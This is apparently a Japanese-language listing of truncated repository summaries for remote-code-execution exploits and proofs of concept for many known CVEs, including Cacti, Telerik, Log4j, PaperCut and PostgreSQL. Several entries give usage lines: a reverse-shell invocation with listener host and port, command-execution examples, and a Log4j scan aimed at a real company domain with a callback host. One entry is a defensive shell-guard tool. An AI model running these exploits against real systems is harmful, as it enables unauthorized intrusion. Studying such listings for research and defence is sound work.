CVE-2025-55182-React2Shell-RCE

CVE-2025-55182 - React2Shell React Server Componentsにおける未認証RCE CVE-2025-55182は、React2Shell としても知られる、React Server Componentsパッケージ（バージョン19.0、19.1.0、19.1.1、19.2.0）に影響を及ぼす深刻な未認証のリモートコード実行（RCE）脆弱性です。 この脆弱性により、攻撃者は認証を必要とせず、単一の巧妙に細工されたHTTPリクエスト を介して、脆弱なサーバー上で任意のコード実行を達成できる可能性があります。 概要 React Server...

CVE-2024-4358

CVE-2024-4358 / CVE-2024-1800 Telerik Report Server の逆シリアル化および認証バイパスのエクスプロイトチェーン CVE-2024-4358/CVE-2024-1800 技術的分析 この脆弱性の根本原因分析は私のブログにあります 使用法 python CVE-2024-4358.py --target http://192.168.253.128:83 -c "whoami" ^^ Progress Telerik Report Server pre-authenticated RCE CVE-2024-4358/CVE-2024-1800...

PoC-CVE-2024-33883

CVE-2024-33883 [email protected]、プロトタイプ汚染の検証不備による RCE 悪用 プロトタイプ汚染により、opts.client を truthy な値に設定する（条件） その後、render が実行されると、ejs は opts.escapeFunction の値を JS コードとして実行します。 影響を受けるコード範囲 [email protected] に基づく 1. ejs/lib/ejs.js - 580、636、637 行目 PoC（ウェブシェル注入とアクティブ化） 1. GET...

Windows-2

Windows-2 BlueKeep脆弱性ラボ - CVE-2019-0708 1. 概要 このリポジトリには、リモートデスクトッププロトコル（RDP）サービスに影響を与えるBlueKeep脆弱性を実証するために設計された、意図的に脆弱なWindowsラボが含まれています。 BlueKeepは、Windowsカーネルに存在する重大な認証前のリモートコード実行（RCE）脆弱性です。この脆弱性により、認証されていない攻撃者がRDPサービスを介してリモートでメモリ破損を引き起こし、システム全体の侵害やサービス拒否につながる可能性があります。...

CVE-2011-2523

vsftpd 2.3.4 バックドアエクスプロイト FTP サーバー: vsftpd 脆弱性のあるバージョン: 2.3.4 CVE: CVE-2011-2523 脆弱性: FTP の USER パラメータに : を追加した文字列を入力すると、ポート 6200 にバックドアが開かれる 注記: この RCE は認証を必要としません...

Poc_for_CVE-2025-24813

!/usr/bin/env python3 """ .----------------. .----------------. .----------------. | | | | | | | | \ | | | | .' | | | | | | | | | | / .' | | | | '. | | | | | | | | | | | | | | | \ . | | | |/ | | || | | ..' | '----------------' '----------------' '----------------' """ CVE-2025-24813 脆弱性検出ツール...

CVE-2022-46169-CACTI-1.2.22

CVE-2022-46169-CACTI-1.2.22 これは、Cacti 1.2.22 に対する CVE-2022-46169 のエクスプロイトです。このエクスプロイトは、RCE 経由であなたのコンピュータ上でリバースシェルを取得することができます。 要件 optparse requests 使い方 お使いのマシンのポートでリッスンしてから、以下のようにエクスプロイトを実行してください。 python3 CVE-2022-46169.py -u http://10.129.216.153 --LHOST=10.10.16.23 --LPORT=443 Checking... The...

SpringBreakPoC

SpringBreakPoC 最近公開されたSpringBreak脆弱性（CVE-2017-8046）の複数のエンドポイントをテストするためのツールが必要になったのですが、見つからなかったので、急遽これをまとめました。 使い方 \ \ / /| \ \ \ | \ /\ | /| || | | \ || /| | || /| || \ / / | | || | | | | \ | || | | / / | || | || / / | | | | | \ \ || | | | | | || || | \ | | | | \ || | \ | \ \ | \ | | || \ \ /...

RCE

CVE-2022-31814 WebAppのバグ import argparse import requests import time import sys import urllib.parse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disablewarningsInsecureRequestWarning parser = argparse.ArgumentParserdescription="pfBlockerNG =...

CVE-2023-41425-WonderCMS-Authenticated-RCE

CVE-2023-41425-WonderCMS-Authenticated-RCE 説明 WonderCMS v3.2.0 - v3.4.2 は脆弱です。リモート攻撃者は、クロスサイトスクリプティング（XSS）エクスプロイトを使用してサーバーを完全に制御できます（教育目的のみ）。以下がその計画です: 動作の仕組み このエクスプロイトは、WonderCMSのinstallModuleコンポーネントを悪用して、任意のコードを実行するように細工されたスクリプトを忍び込ませます。 セットアップ ツール: exploit.py 必要なもの:...

cybersecurity-struts2

Apache Struts2 脆弱性 | CVE-2017-5638 | バージョン 2.5 免責事項 これは教育および研究目的のみに使用されるものです。このプロジェクトの内容や情報の違法または非倫理的な使用を許可または推奨するものではありません。 手順 Webアプリを実行するには: java -jar ms-cybersecurity-1.jar 組み込みTomcatを使用 Java 1.8 デフォルトではポート8080で起動します http://localhost:8080/MSCybersecurity コマンド送信にはコマンドラインエミュレータ Send.jar プロジェクト...

cve-2025-2945-poc

pgAdmin4 Query Tool 認証済みRCE PoC pgAdmin4 バージョン 8.10 - 9.1 の pgAdmin4 クエリツールの認証済みRCE脆弱性 CVE-2025-2945 を悪用するスタンドアロンのPythonスクリプトです。 Metasploitモジュールから移植: pgadminquerytoolauthenticated.rb 参照: https://vulners.com/cve/CVE-2025-2945 https://nvd.nist.gov/vuln/detail/CVE-2025-2945...

CVE-2019-9193-Postgresql-RCE

使用法: CVE-2019-9193.py -h -i IP -p PORT -d DATABASE -c COMMAND -t TIMEOUT -U USER -P PASSWORD 例: python3 CVE-2019-9193.py -i 127.0.0.1 -p 5432 -U postgres -c 'id' 例2: python3 CVE-2019-9193.py -h localhost -p 5432 -U postgres -c 'id' 出力: + Connecting to PostgreSQL Database on 127.0.0.1:5432 +...

ActiveMQ_RCE_Pro_Max

ActiveMQRCEGUI 強化版（略称：Pro Max） バージョン v1.0.3 バージョン識別を追加 脆弱性バージョンの検証を追加 v1.0.2 プロキシを追加 Helpボタンを削除...

struts2-rce-cve-2017-9805-ruby

Struts2 漏洞 - CVE-2017-9805 描述 Apache Struts2 REST 插件 XStream RCECVE-2017-9805 用法 Usage: cve20179805poc.rb targeturi cmd ruby cve20179805poc.rb 127.0.0.1 ping -c 4 192.168.0.1...

Blue-Borne

Blue-Borne BlueBorne エクスプロイト & フレームワーク このリポジトリには、BlueBorne の脆弱性に対するさまざまなエクスプロイトの PoC コードが含まれています。 'android' ディレクトリの下には、Android RCE 脆弱性 CVE-2017-0781 と SDP 情報漏えい脆弱性 CVE-2017-0785 のエクスプロイトがあります。 'linux-bluez' ディレクトリの下には、Linux RCE 脆弱性 CVE-2017-1000251 のエクスプロイトがあります Amazon Echo と Samsung Gear S3 向け。...

Zur-Go-GET-RCE-Solution

CVE-2018-6574-解決策...

mcp-stdio-shellguard

StudioMeyer MCP Stack の一部 — マヨルカ島でビルド 🌴 · ⭐ お使いの際はスターを mcp-stdio-shellguard MCP stdio サーバー向けの多層防御バンドル。childprocess.exec/spawn を 許可リスト + サンドボックス + リプレイ検出でラップし、さらに MCP サーバーソースをスキャンして未サニタイズのシェル呼び出しを検出する AST 監査 CLI（mcp-shellguard-audit） を提供します。Ox-Security の MCP stdio-RCE...

Log4j-RCE-Exploiter

Log4j-RCE-Exploiter Log4j RCE CVE-2021-44228 のスキャナー インストール インストールするには、SUPERUSER（ROOT）で次のコマンドを実行してください。 ▶ cd Log4j-RCE-Exploiter ▶ chmod 777 installer.sh ▶ ./installer.sh 使い方 ▶ log4jExploiter -d tesla.com -b 6nuulng8dd2sivtd3kht31s9e0kq8f.burpcollaborator.net -h, --help Display help -l, --url-list...

CVE-2023-27350

! このスクリプトはコマンド実行のためにサーバー設定を再構成するため、実行には注意してください。スクリプトは終了時に変更を元に戻しますが、プロセスが適切に強制終了されないと元に戻らない可能性があります ! CVE-2023-27350 Papercut 認証なし RCE（バージョン スクリプトは自動的にサーバーが脆弱かどうかをテストします。 インタラクティブシェル: 脆弱性が確認されると、スクリプトはコマンドの入力を求めます。 スクリプトは終了時に設定を元に戻します。 例 参考文献 CVE-2023-27350 免責事項 このスクリプトは教育目的で提供されています。...